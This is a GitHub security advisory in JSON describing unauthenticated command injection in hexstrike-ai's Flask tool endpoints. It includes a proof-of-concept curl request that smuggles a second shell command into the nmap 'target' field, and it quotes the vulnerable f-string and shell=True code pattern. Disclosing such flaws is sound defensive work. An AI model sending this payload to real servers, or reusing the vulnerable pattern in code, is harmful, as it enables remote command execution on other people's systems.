GHSA-v7p8-c4f6-jw32.json

{
  "schema_version": "1.4.0",
  "id": "GHSA-v7p8-c4f6-jw32",
  "modified": "2026-04-20T00:00:00Z",
  "published": "2026-04-20T00:00:00Z",
  "aliases": [],
  "summary": "hexstrike-ai: Command Injection in multiple /api/tools/* endpoints via unsanitized parameters",
  "details": "hexstrike-ai contains command injection vulnerabilities in multiple tool endpoints of its Flask REST API server (hexstrike_server.py). Endpoints such as /api/tools/nmap, /api/tools/dig, /api/tools/whois, and 10+ other tool endpoints construct shell commands using Python f-strings with user-supplied input, then execute them via subprocess.Popen() with shell=True.\n\nNo authentication is required. An attacker can inject arbitrary shell commands via the tool parameters.\n\nExample exploitation via /api/tools/nmap:\n\n```\ncurl -X POST http://<host>:5000/api/tools/nmap -H \"Content-Type: application/json\" -d '{\"target\": \"127.0.0.1; id > /tmp/pwned.txt\"}'\n```\n\nVulnerable pattern (repeated across 10+ endpoints):\n```python\ncommand = f\"nmap {flags} {target}\"\nprocess = subprocess.Popen(command, shell=True, ...)\n```\n\nRoot cause: Unsanitized user input concatenated into shell commands (CWE-78).",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
    }
  ],
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "hexstrike-ai"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            }
          ]
        }
      ]
    }
  ],
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0x4m4/hexstrike-ai"
    }
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "severity": "CRITICAL",
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": null
  }
}